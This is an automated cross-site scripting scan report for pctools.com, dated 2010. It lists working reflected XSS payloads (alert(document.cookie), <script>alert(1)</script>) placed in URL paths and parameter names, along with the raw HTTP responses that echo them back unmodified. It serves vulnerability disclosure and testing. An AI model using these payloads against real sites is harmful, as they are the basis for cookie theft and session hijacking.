<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php/?c3a7c"-alert(1)-"13c208313de=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.57. http://www.pctools.com/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php/ [name of an arbitrarily supplied request parameter]previous
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 95c1a<script>alert(1)</script>ffabfad138c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:59 GMT Connection: close Content-Length: 21360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>ffabfad138c=1/">/res/ajaxefa34%22-alert(document.cookie)-%2268ff74b398c/newsletter.php/?95c1a<script>alert(1)</script>ffabfad138c=1/</a> ...[SNIP]...
Report generated by XSS.CX at Sat Dec 18 11:32:30 CST 2010.